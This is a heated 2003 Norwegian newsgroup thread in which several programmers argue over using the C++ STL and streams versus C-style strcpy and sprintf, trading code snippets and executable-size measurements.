>>er "kjapp nok" i de fleste situasjoner
>>slik at skalerbarheten, stabiliteten og enkelheten en får ved å bruke
>>det veier opp og vel så det for performance degredation i forhold til
>>å bruke"char *" "xprint" osv...
>
>De fleste konstruksjoner er kjappe nok. Streams er ikke kjappe nok for
>meg. Jeg har testet dem, og de har vært opp til 100 ganger tregere enn
>C-måten.
>
>Det er dog ikke hovedproblemet, streams er også jævla kronglete å bruke,
>mye verre enn alternativet IMHO. Hadde de i det minste vært mer
>behagelige så hadde jeg kanskje kunnet levd med at de er så ekle på
>andre måter.
tjaa...
Du vet at det går an å benytte et annet STL enn det som følger med
f.eks. Visual Studio...
Sigurd Stenersen
> On Wed, 9 Apr 2003 12:05:11 +0200, there came a drop of sanity from
> "Sigurd Stenersen" <sig...@utvikling.com> containing:
> >"Thomas Hansen" <thomas.hansenNOSP...@adramatch.com> skrev
> >>
> >> Men nå bruker jo du ikke hverken STL eller Boost, Christian Stigen
> >> Larsen har bare SÅÅ rett.
> >> Du har aldri programmert i C++, du prgrammerer i et "bedre c"...
> >
> >Si meg... Har dere en forening, losje eller klubb der dere møtes for å vedta
> >hva som er sant, dere arrogante bedreviterne ?
>
> Tjaa, den heter comp.lang.c++.* og kommer også i form av "C++
> standarden"
At det er mange arrogante dustehuer som skriver på de gruppene tviler jeg ikke
på. Men hvor i standarden står det at den som ikke bruker STL skriver C ?
> >Hva er galt med å ha bra ytelse ? Skal man lage tregere programvare bare for
> >å gjøre det ?
>
> Nei men man kan lage robuste og skalerbare applikasjoner uten å
> benytte mere tid enn det som er nødvendig...
Det kan man uten å bruke STL også...
> Jeg vet om en million plasser jeg kan klare meg på halvparten av koden
> som du trenger for å få gjort noe, e.g.:
>
> Min løsning:
>
> std::string x="sdfoijh";
> const std::string y="sdfouioh";
> x += y;
>
> Din løsning:
>
> char * x="sdfiug";
> char const * const y="sdfuih";
> char * z=new char[strlen(x)+strlen(y)+1];
> strcpy(z, x);
> strcpy(z+strlen(x), y);
> x = z;
Hvor i all verden tar du det fra ? Nok en gang demonstrere du hva DU ville
gjort uten STL. Det er på tide at du slutter å tillegge meg din manglende evne
til å tenke utenfor rammene av sandkassen din...
Har jeg noen gang skrevet at jeg ikke bruker en streng-klasse ?
Forøvrig er jo ditt eksempel helt på trynet - skal du gjøre noe så dumt som det
der på steinaldervis så er det jo mye greiere å gjøre det slik :
#define y "sdfouioh"
char *x = "sdfoijh" y;
> ... (tør ikke gå god for hvorvidt "din løsning" har bugs eller ikke da
> det er noen år siden jeg gjennomførte slike konstruksjoner)...
>
> Så la oss si at dette programmet hvor "vår kode" er har skikkelig
> suksess og skal porteres til f.eks. Taiwan.
> Jeg vil gjennomføre Unicode porteringen ved hjelp av å skrive
> std::string<w_char> x...
> const std::string<w_char> x...
>
> Hvordan vil DU gjøre det?!?
> Eller la oss si at du legger til kode mellom
> char * z=new char[strlen(x)+strlen(y)+1];
> strcpy(z, x);
> som kaster en exception, hva skjer da med minnet til z?!?
> Lost Heap!!
Igjen - det er DU som har skrevet begge disse programmene, så hvilke problemer
du får har lite med meg å gjøre.
> Joda jeg vet at det finnes konstruksjoner som kan "eliminere" risikoen
> for begge scenarioer, men poenget er og vil alltid være at STL
> reduserer antall linjer med kode betraktelig!!!
Dette er ganske enkelt FEIL. Du reduserer åpenbart antall linjer i forhold til
den dustete koden du selv ville skrevet uten STL, men skylappene dine hindrer
deg i å se at det faktisk er mer enn én måte å flå en katt på...
> >Når man av legning skriver kode som både tar lite plass og som eksekverer
> >hurtig, så trenger man ikke å gå til slike skritt som det du åpenbart må for
> >å få bedre ytelse. Ytelsen er god nok i utgangspunktet...
> Kode som tar liten plass og som eksekveres hurtig trengs stort sett
> kun på enkelte deler av enkelte applikasjoner, skal du beregne antall
> primtall mellom 1 og 1*e298 så trenger du selvfølgelig raske
> konstruksjoner som tar lite plass i minne, men skal du lage en snutt
> som kopierer fil a fra x til y og i prosessen transformerer filen ved
> hjelp av b så trenger du sjelden eller aldri noe mere ytelse enn et
> gjennomsnittslig ræva skrevet STL bibliotek kan gi deg.
> Faktum er at du sjelden egentlig trenger mere enn 1/100 av ytelsen du
> faktisk har!!!
Du har tenkt på at du skal porte applikasjonen din til kinesisk, men du er helt
sikker på at alle brukerne av programvaren din sitter med like bra utstyr som
det du gjør ? Det er en tåpelig antagelse, som dessverre er ganske utbredt
blant middelmådige utviklere.
Det som går "fort nok" på din maskin går ikke nødvendigvis fort nok på andres
maskiner. Og hva om koden din skal portes til en 80486-plattform ? Da kan man
sitte og tenke på hvor fint det hadde vært med kinesisk språk mens man venter på
at applikasjonen din skal bli ferdig med å starte...
> I f.eks. en vanlig regnskaps applikasjon vil f.eks. godt over 99% av
> CPU og minne bli svidd på database aksess og ikke i din kode, derfor
> er stort sett all optimalisering utover SQL optimalisering ikke bare
> unødvendig men også en kilde til flere bugs.
Det er pussig at du nevner regnskapsapplikasjoner. Jeg har fulgt med hos
regnskapsføreren min etter at han kjøpte Visma (som er markedsleder). Fra man
starter klienten til dette systemet og til man kan gjøre noe så tar det over TO
MINUTTER... Systemet er fullt av dritt forøvrig også.
Nå vet ikke jeg om de har utviklet Visma i C++, men i alle fall spiller det ikke
så stor rolle for kunden om de har brukt STL og bare "optimalisert SQL"...
> Så hvis en da skal dynamiskt bygge SQL'er hva er enklest, std::string
> eller strcpy?!?
>
> std::stringstream sql;
> int ledger_id = 3;
> sql << "select sum(amount) from ledger where ledger_id = "
> << ledger_id
> << " and ledger_id in (select ledger_id from reconciledTable
> where reconcile_id = " << cReconciledEnum << ")";
> Recordset x = myDataBase.GetRecordset(sql.str());
>
> Prøv å skriv den i strcpy...
strcpy() ? Hvorfor skulle man bruke strcpy() til dette ? Prøv å bruke huet :
int ledger_id = 3;
char Sql[333];
sprintf(Sql,
"select sum(amount) from ledger "
"where ledger_id = %d and ledger_id in "
"(select ledger_id from reconciledTable where reconcile_id =
%d)",
ledger_id, cReconciledEnum);
Recordset x = myDataBase.GetRecordset(Sql);
...som både er lettere å lese OG langt mer effektivt enn det derre
streams-rotet ditt...
Sigurd
Alf P. Steinbach
>>>Faktum er at de fleste kunstruksjoner i STL som Alf misvisende
>>>ekskluderer std::string fra
>>
>>Misvisende? STL er ikke det samme som standardbiblioteket.
>std::string ER en del av STL tidligere her i tråden ble det hevdet at
>std::string IKKE var en del av STL
Se <url: http://www.cs.rpi.edu/~musser/doc.ps> for Stepanov sin egen
formelle dokumentasjon av det opprinnelige STL-biblioteket (du trenger
Ghostview eller en annen postscript-framviser).
Se <url: http://www.cs.rpi.edu/projects/STL/htdocs/node52.html> for
en oversikt over container-klasser i det opprinnelige STL-biblioteket.
Se <http://www.sgi.com/tech/stl/stl_introduction.html> for en oversikt
over container-klasser i "moderne" STL:
<quote>
The STL includes the classes vector, list, deque, set, multiset, map,
multimap, hash_set, hash_multiset, hash_map, and hash_multimap.
</quote>
(Med forbehold om at den listen er forut for sin tid: hash_... er _ennå_
ikke del av C++ standardbiblioteket, og dermed heller ikke av den delen
av STL som så langt er del av C++ standardbiblioteket, men er del av
SGI STL, dvs. SGI sin implementasjon av STL.)
Se <url: http://www.sgi.com/tech/stl/table_of_contents.html> for en
full liste av STL klasser.
Se også <url: http://www.stlport.org/download.html> for en versjon
som inkluderer hele C++ standardbiblioteket.
Se også <http://www.sgi.com/tech/stl/index.html>
Hdh.,
- Alf
Thomas Hansen
"Sigurd Stenersen" <sig...@utvikling.com> containing:
>"Thomas Hansen" <thomas.hansenNOSP...@adramatch.com> skrev
>> On Wed, 9 Apr 2003 12:05:11 +0200, there came a drop of sanity from
>> "Sigurd Stenersen" <sig...@utvikling.com> containing:
>> >"Thomas Hansen" <thomas.hansenNOSP...@adramatch.com> skrev
>> >>
>> >> Men nå bruker jo du ikke hverken STL eller Boost, Christian Stigen
>> >> Larsen har bare SÅÅ rett.
>> >> Du har aldri programmert i C++, du prgrammerer i et "bedre c"...
>> >
>> >Si meg... Har dere en forening, losje eller klubb der dere møtes for å vedta
>> >hva som er sant, dere arrogante bedreviterne ?
>>
>> Tjaa, den heter comp.lang.c++.* og kommer også i form av "C++
>> standarden"
>
>At det er mange arrogante dustehuer som skriver på de gruppene tviler jeg ikke
>på. Men hvor i standarden står det at den som ikke bruker STL skriver C ?
Vel STL er faktisk definert som en del av C++ standarden og de fleste
funksjonene du bruker er definert i C standarden, muligens litt krasst
å si at du koder i C, men det var din omskriving av min settning
"bedre c".
Utifra det du sier så vil jeg påsta at du sannsynligvis nesten kunne
klart deg med det første utkastet til C++ som het på daværende
tidspunkt "C with classes"...
>
>
>> >Hva er galt med å ha bra ytelse ? Skal man lage tregere programvare bare for
>> >å gjøre det ?
>>
>> Nei men man kan lage robuste og skalerbare applikasjoner uten å
>> benytte mere tid enn det som er nødvendig...
>
>Det kan man uten å bruke STL også...
Det kan man ikke, noen argumentasjon her er egentlig unødvendig men en
kan jo nevne portering som et mulig dilemma...
>
>
>> Jeg vet om en million plasser jeg kan klare meg på halvparten av koden
>> som du trenger for å få gjort noe, e.g.:
>>
>> Min løsning:
>>
>> std::string x="sdfoijh";
>> const std::string y="sdfouioh";
>> x += y;
>>
>> Din løsning:
>>
>> char * x="sdfiug";
>> char const * const y="sdfuih";
>> char * z=new char[strlen(x)+strlen(y)+1];
>> strcpy(z, x);
>> strcpy(z+strlen(x), y);
>> x = z;
>
>Hvor i all verden tar du det fra ? Nok en gang demonstrere du hva DU ville
>gjort uten STL. Det er på tide at du slutter å tillegge meg din manglende evne
>til å tenke utenfor rammene av sandkassen din...
>
>Har jeg noen gang skrevet at jeg ikke bruker en streng-klasse ?
Hvis du bruker en strenge klasse så skjønner ikke jeg hvordan du har
en som er bedre enn std::string, den skulle jeg GJERNE likt å se.
Og om du bruker en strenge klasse så faller all din tidligere
argumentasjon om hastighet på stengrunn...
>
>Forøvrig er jo ditt eksempel helt på trynet - skal du gjøre noe så dumt som det
>der på steinaldervis så er det jo mye greiere å gjøre det slik :
>
> #define y "sdfouioh"
> char *x = "sdfoijh" y;
sitat fra FAQ com.lang.c++: "Macros are evil, evil and evil..."
Og det gidder jeg ikke engang diskutere, macroer er lamme og trengs
nesten ALDRI og er en påtvunget etterlevning fra C.
I C++ derimot trenger en NESTEN ALDRI macroer og ihvertfall ikke i det
eksempelet du beskriver.
Hvorfor ikke benytte char const * const y="adsfoijh";
>
>
>> ... (tør ikke gå god for hvorvidt "din løsning" har bugs eller ikke da
>> det er noen år siden jeg gjennomførte slike konstruksjoner)...
>>
>> Så la oss si at dette programmet hvor "vår kode" er har skikkelig
>> suksess og skal porteres til f.eks. Taiwan.
>> Jeg vil gjennomføre Unicode porteringen ved hjelp av å skrive
>> std::string<w_char> x...
>> const std::string<w_char> x...
>>
>> Hvordan vil DU gjøre det?!?
>> Eller la oss si at du legger til kode mellom
>> char * z=new char[strlen(x)+strlen(y)+1];
>> strcpy(z, x);
>> som kaster en exception, hva skjer da med minnet til z?!?
>> Lost Heap!!
>
>Igjen - det er DU som har skrevet begge disse programmene, så hvilke problemer
>du får har lite med meg å gjøre.
>
>
>> Joda jeg vet at det finnes konstruksjoner som kan "eliminere" risikoen
>> for begge scenarioer, men poenget er og vil alltid være at STL
>> reduserer antall linjer med kode betraktelig!!!
>
>Dette er ganske enkelt FEIL. Du reduserer åpenbart antall linjer i forhold til
>den dustete koden du selv ville skrevet uten STL, men skylappene dine hindrer
>deg i å se at det faktisk er mer enn én måte å flå en katt på...
Joda litt enig, men "c-måten" min over er den raskeste...
(jeg har faktisk portert tilsvarende kode til x86 assembler uten å
klare å fjerne sykluser, og ingen andre jeg har snakket med klarer
heller å optimalisere strcpy ved hjelp av x86 maskin kode)
>
>
>> >Når man av legning skriver kode som både tar lite plass og som eksekverer
>> >hurtig, så trenger man ikke å gå til slike skritt som det du åpenbart må for
>> >å få bedre ytelse. Ytelsen er god nok i utgangspunktet...
>> Kode som tar liten plass og som eksekveres hurtig trengs stort sett
>> kun på enkelte deler av enkelte applikasjoner, skal du beregne antall
>> primtall mellom 1 og 1*e298 så trenger du selvfølgelig raske
>> konstruksjoner som tar lite plass i minne, men skal du lage en snutt
>> som kopierer fil a fra x til y og i prosessen transformerer filen ved
>> hjelp av b så trenger du sjelden eller aldri noe mere ytelse enn et
>> gjennomsnittslig ræva skrevet STL bibliotek kan gi deg.
>> Faktum er at du sjelden egentlig trenger mere enn 1/100 av ytelsen du
>> faktisk har!!!
>
>Du har tenkt på at du skal porte applikasjonen din til kinesisk, men du er helt
>sikker på at alle brukerne av programvaren din sitter med like bra utstyr som
>det du gjør ? Det er en tåpelig antagelse, som dessverre er ganske utbredt
>blant middelmådige utviklere.
Det er sant, men jeg vil heller skrive en god applikasjon som funker
på"the upper 95% of computers" enn å skrive en applikasjon som ikke
funker på NOEN systemer,
>
>Det som går "fort nok" på din maskin går ikke nødvendigvis fort nok på andres
>maskiner. Og hva om koden din skal portes til en 80486-plattform ? Da kan man
>sitte og tenke på hvor fint det hadde vært med kinesisk språk mens man venter på
>at applikasjonen din skal bli ferdig med å starte...
486?!?
Å ta høyde for at applikasjonen min skal porteres til en 486 har jeg
ikke gjort, ikke skjønner jeg vitsen med det heller...
>
>
>> I f.eks. en vanlig regnskaps applikasjon vil f.eks. godt over 99% av
>> CPU og minne bli svidd på database aksess og ikke i din kode, derfor
>> er stort sett all optimalisering utover SQL optimalisering ikke bare
>> unødvendig men også en kilde til flere bugs.
>
>Det er pussig at du nevner regnskapsapplikasjoner. Jeg har fulgt med hos
>regnskapsføreren min etter at han kjøpte Visma (som er markedsleder). Fra man
>starter klienten til dette systemet og til man kan gjøre noe så tar det over TO
>MINUTTER... Systemet er fullt av dritt forøvrig også.
La meg bare gjette, "shot from my hip":
1. Han har outsourcet IT driften til et eller anna jævla citrix
lignende system drifingsselskap eller no' sånt.
2. Han har en skikkelig cheesy viruskiller som scanner alt av
instruksjoner og kjører i et "sandbox environment".
3. Han har en Pentium Pro CPU eller kanskje en PII prosessor som kan
kjøpes for renteavkastningene av en dags innsats som tomflaske
innsamler på finnmarks vidda.
4. Visma skriver ræva kode i et ræva utviklingsmiljø slik som f.eks.
Java eller no sånt.
5. Han valgte å kjøpe en database driver lisens for 5,50 fra forrige
årtusen for å spare penger, denne database driveren bruker
selvfølgelig et "vondt år" på å åpne en database connection...
>
>Nå vet ikke jeg om de har utviklet Visma i C++, men i alle fall spiller det ikke
>så stor rolle for kunden om de har brukt STL og bare "optimalisert SQL"...
Fortsatt ser jeg ikke relevansen opp i mot STL
Jeg programmerer i C++ fordi det er et RASKT og ekspressivt språk.
Jeg programmerer IKKE i C fordi det skalerer omtrent som bestemora til
George Bush kjører helikopter.
Jeg velger å bruke STL der det ikke degraderer ytelsen merkbart
(hvilke vil si stort sett overalt) fordi det er porterbart, enkelt,
forståelig, og ikke minst STANDARDISERT!
>
>
>> Så hvis en da skal dynamiskt bygge SQL'er hva er enklest, std::string
>> eller strcpy?!?
>>
>> std::stringstream sql;
>> int ledger_id = 3;
>> sql << "select sum(amount) from ledger where ledger_id = "
>> << ledger_id
>> << " and ledger_id in (select ledger_id from reconciledTable
>> where reconcile_id = " << cReconciledEnum << ")";
>> Recordset x = myDataBase.GetRecordset(sql.str());
>>
>> Prøv å skriv den i strcpy...
>
>strcpy() ? Hvorfor skulle man bruke strcpy() til dette ? Prøv å bruke huet :
>
> int ledger_id = 3;
> char Sql[333];
> sprintf(Sql,
> "select sum(amount) from ledger "
> "where ledger_id = %d and ledger_id in "
> "(select ledger_id from reconciledTable where reconcile_id =
>%d)",
> ledger_id, cReconciledEnum);
> Recordset x = myDataBase.GetRecordset(Sql);
Snakket ikke du om memory overhead her indirekte en vending også...
Vet du hva overheaden av å "dra inn sprintf" funksjonene er?
Den er STØRRE en å dra med stringstream...
Men joda den eksekveres sannsynligvis kjappere på bekostning av
størrelsen på process imagen, på bekostning av skalerbarhet etc...
>
>...som både er lettere å lese OG langt mer effektivt enn det derre
>streams-rotet ditt...
Jeg mener å erindre (korriger meg hvis jeg tar feil) at du ved en
tidligere post siterte Donald Knuth på at "Premature Optimalization is
the root of all evil", er det ikke litt prematurt å tenke
optimalisering ved første gangs implementasjon?!?
>
>
>Sigurd
>
Men nå har jeg seriøst ikke tid til mere fjatt om hva som er best av C
og C++, jeg mener og ikke ti ville hester vil få meg til å skifte
mening at du skriver "C with classes" kode og ikke er i nærheten av å
utnytte mulighetene som ligger i C++ som et multi idiome language...
Cowboy Koding kaller jeg det, og det er ofte en kilde til bugs som en
enkelt kan unngå, vitner om lite bred horisont og en C måte å tenke
C++ på...
Når alt kommer til stykket benytter jeg faktisk XSLT, Java,
JavaScript, C#, SQL ol hovedsaklig og kun C++ der hvor det er påkrevd
pga hastighet ol.
Grunnen til dette er at jeg i f.eks. XSLT (som selvfølgelig er VELDIG
mye tregere enn C++) kan skrive ekstremt mye mere fleksibel, porterbar
og skalerbar kode som eksekveres "kjapt nok"...
Sigurd Stenersen
> On Fri, 11 Apr 2003 10:25:38 +0200, there came a drop of sanity from
> "Sigurd Stenersen" <sig...@utvikling.com> containing:
> >
>
> Vel STL er faktisk definert som en del av C++ standarden og de fleste
> funksjonene du bruker er definert i C standarden, muligens litt krasst
> å si at du koder i C, men det var din omskriving av min settning
> "bedre c".
De funksjonene jeg har nevnt i denne tråden er en del av standardbiblioteket for
C++. At de også finnes i standardbiblioteket for C har lite med saken å gjøre.
> Utifra det du sier så vil jeg påsta at du sannsynligvis nesten kunne
> klart deg med det første utkastet til C++ som het på daværende
> tidspunkt "C with classes"...
Du vet veldig lite om hva jeg bruker av C++ features, og dine forutinntatte
tanker om hva jeg gjør er i grunnen bare interessante fordi de er så
arrogante...
Det eneste du har grunn til å anta er at jeg klarer meg veldig bra uten STL.
> >> >Hva er galt med å ha bra ytelse ? Skal man lage tregere programvare bare
> >> >for å gjøre det ?
> >>
> >> Nei men man kan lage robuste og skalerbare applikasjoner uten å
> >> benytte mere tid enn det som er nødvendig...
> >
> >Det kan man uten å bruke STL også...
>
> Det kan man ikke
Jo, det kan man. At DU ikke kan det er ditt problem...
>, noen argumentasjon her er egentlig unødvendig
Utrolig arrogant...
> men en
> kan jo nevne portering som et mulig dilemma...
Jeg tror nok at jeg har mer erfaring med porting enn det du har. Blant annet
har jeg portet store deler av MFC til QNX fordi STL-greiene til Watcom var fulle
av bugs. Har du prøvd å porte STL noen gang ?
> Hvis du bruker en strenge klasse så skjønner ikke jeg hvordan du har
> en som er bedre enn std::string, den skulle jeg GJERNE likt å se.
MFC CString funker utmerket.
> Og om du bruker en strenge klasse så faller all din tidligere
> argumentasjon om hastighet på stengrunn...
Nei, hvorfor det ?
> >Forøvrig er jo ditt eksempel helt på trynet - skal du gjøre noe så dumt som
> >det der på steinaldervis så er det jo mye greiere å gjøre det slik :
> >
> > #define y "sdfouioh"
> > char *x = "sdfoijh" y;
>
> sitat fra FAQ com.lang.c++: "Macros are evil, evil and evil..."
Helt klart. Men det jeg her har foreslått er jo langt bedre og mer oversiktlig
enn ditt råtne steinalderforslag...
> Og det gidder jeg ikke engang diskutere, macroer er lamme og trengs
> nesten ALDRI og er en påtvunget etterlevning fra C.
Til å ikke gidde å diskutere så diskuterer du jammen fælt...
Jeg er heller ikke begeistret for makroer. Mesteparten av behovet forsvant da
vi fikk inline.
> I C++ derimot trenger en NESTEN ALDRI macroer og ihvertfall ikke i det
> eksempelet du beskriver.
Det var bare en optimalisering av din uoversiktlige, store og trege kode...
> >> Joda jeg vet at det finnes konstruksjoner som kan "eliminere" risikoen
> >> for begge scenarioer, men poenget er og vil alltid være at STL
> >> reduserer antall linjer med kode betraktelig!!!
> >
> >Dette er ganske enkelt FEIL. Du reduserer åpenbart antall linjer i forhold
> >til den dustete koden du selv ville skrevet uten STL, men skylappene dine
> >hindrer deg i å se at det faktisk er mer enn én måte å flå en katt på...
>
> Joda litt enig, men "c-måten" min over er den raskeste...
> (jeg har faktisk portert tilsvarende kode til x86 assembler uten å
> klare å fjerne sykluser, og ingen andre jeg har snakket med klarer
> heller å optimalisere strcpy ved hjelp av x86 maskin kode)
Optimalisere strcpy() ? I VC er den jo implementert som en maskinkode-makro som
utnytter x86-arkitekturen fullt ut. Hvorfor bruker folk tid på å optimalisere
det optimale ?
> >Du har tenkt på at du skal porte applikasjonen din til kinesisk, men du er
> >helt sikker på at alle brukerne av programvaren din sitter med like bra
> >utstyr
> >som det du gjør ? Det er en tåpelig antagelse, som dessverre er ganske
> >utbredt
> >blant middelmådige utviklere.
>
> Det er sant, men jeg vil heller skrive en god applikasjon som funker
> på"the upper 95% of computers" enn å skrive en applikasjon som ikke
> funker på NOEN systemer,
Å skrive en applikasjon som ikke funker ? Er det et alternativ ?
> >Det som går "fort nok" på din maskin går ikke nødvendigvis fort nok på andres
> >maskiner. Og hva om koden din skal portes til en 80486-plattform ? Da kan
> >man sitte og tenke på hvor fint det hadde vært med kinesisk språk mens man
> >venter på at applikasjonen din skal bli ferdig med å starte...
>
> 486?!?
> Å ta høyde for at applikasjonen min skal porteres til en 486 har jeg
> ikke gjort, ikke skjønner jeg vitsen med det heller...
Da har du et problem den dagen sjefen din kommer og spør om programmet ditt kan
kjøres på en liten dings med lite minne, lite flash og billig prosessor...
"Nei, jeg må ha Pentium IV, 128 MB minne og et par GB disk." Og vips så har du
kostet bedriften flere titalls millioner kroner, fordi de må bruke mange tusen
pr enhet, i stedet for noen få hundrelapper...
> >Det er pussig at du nevner regnskapsapplikasjoner. Jeg har fulgt med hos
> >regnskapsføreren min etter at han kjøpte Visma (som er markedsleder). Fra
> >man starter klienten til dette systemet og til man kan gjøre noe så tar det
> >over TO MINUTTER... Systemet er fullt av dritt forøvrig også.
>
> La meg bare gjette, "shot from my hip":
> 1. Han har outsourcet IT driften til et eller anna jævla citrix
> lignende system drifingsselskap eller no' sånt.
Nei, han kjører lokalnett med Windows 2000 på server og Windows 98 på klientene.
> 2. Han har en skikkelig cheesy viruskiller som scanner alt av
> instruksjoner og kjører i et "sandbox environment".
Nei, han kjører uten antivirus.
> 3. Han har en Pentium Pro CPU eller kanskje en PII prosessor som kan
> kjøpes for renteavkastningene av en dags innsats som tomflaske
> innsamler på finnmarks vidda.
Han har endel Pentium II 350 MHz, men serveren er en PIV 2GHz og den er ikke
nevneverdig raskere...
> 4. Visma skriver ræva kode
Det er det ingen tvill om.
> i et ræva utviklingsmiljø slik som f.eks.
> Java eller no sånt.
Det aner jeg ikke, men det er vel neppe Java.
> 5. Han valgte å kjøpe en database driver lisens for 5,50 fra forrige
> årtusen for å spare penger, denne database driveren bruker
> selvfølgelig et "vondt år" på å åpne en database connection...
Han bruker det som følger med Visma.
> >Nå vet ikke jeg om de har utviklet Visma i C++, men i alle fall spiller det
> >ikke
> >så stor rolle for kunden om de har brukt STL og bare "optimalisert SQL"...
>
> Fortsatt ser jeg ikke relevansen opp i mot STL
Relevansen er ikke mot STL, relevansen er opp mot din tankegang. De som
utvikler hos Visma kan bruke nøyaktig samme argumentasjon som du for å bevise at
systemet deres er "raskt nok"...
> Jeg programmerer i C++ fordi det er et RASKT og ekspressivt språk.
Det gjelder nok de fleste av oss.
> Jeg programmerer IKKE i C fordi det skalerer omtrent som bestemora til
> George Bush kjører helikopter.
Det gjelder nok de fleste av oss.
> Jeg velger å bruke STL der det ikke degraderer ytelsen merkbart
> (hvilke vil si stort sett overalt) fordi det er porterbart, enkelt,
> forståelig, og ikke minst STANDARDISERT!
Dette er gode argumenter for å bruke STL, men når du påstår at det er enkelt og
forståelig drar du den litt vel langt...
Og hva gjør du den dagen du skal utvikle for en plattform der det ikke finnes
fungerende STL ?
> Snakket ikke du om memory overhead her indirekte en vending også...
> Vet du hva overheaden av å "dra inn sprintf" funksjonene er?
> Den er STØRRE en å dra med stringstream...
Nei, der tar du feil igjen. Se her :
Forsøk 1, std::stringstream ==========
#include <sstream>
#include <strstream>
void main()
{
std::stringstream sql;
int ledger_id = 3, cReconciledEnum = 1;
sql << "select sum(amount) from ledger where ledger_id = "
<< ledger_id
<< " and ledger_id in (select ledger_id from reconciledTable"
" where reconcile_id = " << cReconciledEnum << ")";
std::string Sql = sql.str();
}
exe-fil: 81920 byte
Forsøk 2, sprintf() ==========
#include <stdio.h>
void main()
{
int ledger_id = 3, cReconciledEnum = 1;
char Sql[333];
sprintf(Sql,
"select sum(amount) from ledger "
"where ledger_id = %d and ledger_id in "
"(select ledger_id from reconciledTable where reconcile_id =
%d)",
ledger_id, cReconciledEnum);
}
exe-fil: 28672 byte
==========
> Men joda den eksekveres sannsynligvis kjappere på bekostning av
> størrelsen på process imagen, på bekostning av skalerbarhet etc...
Se over...
> >...som både er lettere å lese OG langt mer effektivt enn det derre
> >streams-rotet ditt...
> Jeg mener å erindre (korriger meg hvis jeg tar feil) at du ved en
> tidligere post siterte Donald Knuth på at "Premature Optimalization is
> the root of all evil"
Du tar feil, jeg har ikke sitert ham.
> er det ikke litt prematurt å tenke
> optimalisering ved første gangs implementasjon?!?
Når det er en vane å skrive effektiv og lettlest kode så er den
problemstillingen uaktuell...
> Men nå har jeg seriøst ikke tid til mere fjatt om hva som er best av C
> og C++
Det foreligger ikke noen diskusjon om det temaet.
> jeg mener og ikke ti ville hester vil få meg til å skifte
> mening at du skriver "C with classes" kode og ikke er i nærheten av å
> utnytte mulighetene som ligger i C++ som et multi idiome language...
Nok en gang arrogante uttrykk for forutinntatte meninger om hva jeg gjør.
> Cowboy Koding kaller jeg det, og det er ofte en kilde til bugs som en
> enkelt kan unngå, vitner om lite bred horisont og en C måte å tenke
> C++ på...
Snakk for deg selv. Jeg kjenner mange utviklere, og INGEN av dem skriver så få
feil som det jeg gjør.
> Når alt kommer til stykket benytter jeg faktisk XSLT, Java,
> JavaScript, C#, SQL ol hovedsaklig og kun C++ der hvor det er påkrevd
> pga hastighet ol.
> Grunnen til dette er at jeg i f.eks. XSLT (som selvfølgelig er VELDIG
> mye tregere enn C++) kan skrive ekstremt mye mere fleksibel, porterbar
> og skalerbar kode som eksekveres "kjapt nok"...
Det forklarer hvorfor du ikke vet så mye om hva man kan få til med C++ uten STL,
men det forklarer IKKE hvorfor du er arrogant nok til å tro at du vet alt...
Sigurd
Thore B. Karlsen
<thomas.hansenNOSP...@adramatch.com> wrote:
>>>Faktum er at de fleste kunstruksjoner i STL som Alf misvisende
>>>ekskluderer std::string fra
>>Misvisende? STL er ikke det samme som standardbiblioteket.
>std::string ER en del av STL tidligere her i tråden ble det hevdet at
>std::string IKKE var en del av STL
Se linkene til Alf.
>>De fleste konstruksjoner er kjappe nok. Streams er ikke kjappe nok for
>>meg. Jeg har testet dem, og de har vært opp til 100 ganger tregere enn
>>C-måten.
>>
>>Det er dog ikke hovedproblemet, streams er også jævla kronglete å bruke,
>>mye verre enn alternativet IMHO. Hadde de i det minste vært mer
>>behagelige så hadde jeg kanskje kunnet levd med at de er så ekle på
>>andre måter.
>tjaa...
>Du vet at det går an å benytte et annet STL enn det som følger med
>f.eks. Visual Studio...
Det som følger med Visual Studio er ikke det verste, det verste jeg har
prøvd til nå følger med g++. Og hvorfor skulle jeg bytte? Dinkumware er
veldig anerkjente, og deres implementasjon i VC++ 7.0 er meget god.
Og uansett har man ofte ikke et valg. Da jeg skrev en cross-platform
volume renderer som skulle kompilere på flere platformer kunne jeg ikke
bytte STL. Og siden den skulle lese inn datasett på flere hundre
megabyte var overheaden til streams helt uakseptabel. Bare å lese inn en
1.7MB fil linje for linje tok *8* sekunder med streams på kompilatoren
jeg måtte bruke. Det tok 100 ganger mindre tid med vanlig C I/O.
--
Be seeing you.
Thomas Hansen
"Sigurd Stenersen" <sig...@utvikling.com> containing:
>"Thomas Hansen" <thomas.hansenNOSP...@adramatch.com> skrev
>> On Fri, 11 Apr 2003 10:25:38 +0200, there came a drop of sanity from
>> "Sigurd Stenersen" <sig...@utvikling.com> containing:
>> >
>> >hvor i standarden står det at den som ikke bruker STL skriver C ?
>>
>> Vel STL er faktisk definert som en del av C++ standarden og de fleste
>> funksjonene du bruker er definert i C standarden, muligens litt krasst
>> å si at du koder i C, men det var din omskriving av min settning
>> "bedre c".
>
>De funksjonene jeg har nevnt i denne tråden er en del av standardbiblioteket for
>C++. At de også finnes i standardbiblioteket for C har lite med saken å gjøre.
Det er likevel definert som dårlig bruk av C++...
Både av meg, hele Standardization Commitee og Bjarne Stroustrup m.
venner...
>
>
>> Utifra det du sier så vil jeg påsta at du sannsynligvis nesten kunne
>> klart deg med det første utkastet til C++ som het på daværende
>> tidspunkt "C with classes"...
>
>Du vet veldig lite om hva jeg bruker av C++ features, og dine forutinntatte
>tanker om hva jeg gjør er i grunnen bare interessante fordi de er så
>arrogante...
Jeg har bare bygd argumentasjonen min på dine motargumenter.
>
>Det eneste du har grunn til å anta er at jeg klarer meg veldig bra uten STL.
>
>
>> >> >Hva er galt med å ha bra ytelse ? Skal man lage tregere programvare bare
>> >> >for å gjøre det ?
>> >>
>> >> Nei men man kan lage robuste og skalerbare applikasjoner uten å
>> >> benytte mere tid enn det som er nødvendig...
>> >
>> >Det kan man uten å bruke STL også...
>>
>> Det kan man ikke
>
>Jo, det kan man. At DU ikke kan det er ditt problem...
Nei det kan man ikke (foreslår vi stopper den her... ;)
>
>
>>, noen argumentasjon her er egentlig unødvendig
>
>Utrolig arrogant...
OK!
Lag en generisk funksjon som reagerer på inneholdet av en iterator
slik at den vil fungere selv om klassen som det itereres på er
std::string, std::vector, std::list eller std::iostream...
Det har jeg ikke bare gjort mange ganger men gjør det også stort sett
hver gang jeg koder C++.
>
>
>> men en
>> kan jo nevne portering som et mulig dilemma...
>
>Jeg tror nok at jeg har mer erfaring med porting enn det du har. Blant annet
>har jeg portet store deler av MFC til QNX fordi STL-greiene til Watcom var fulle
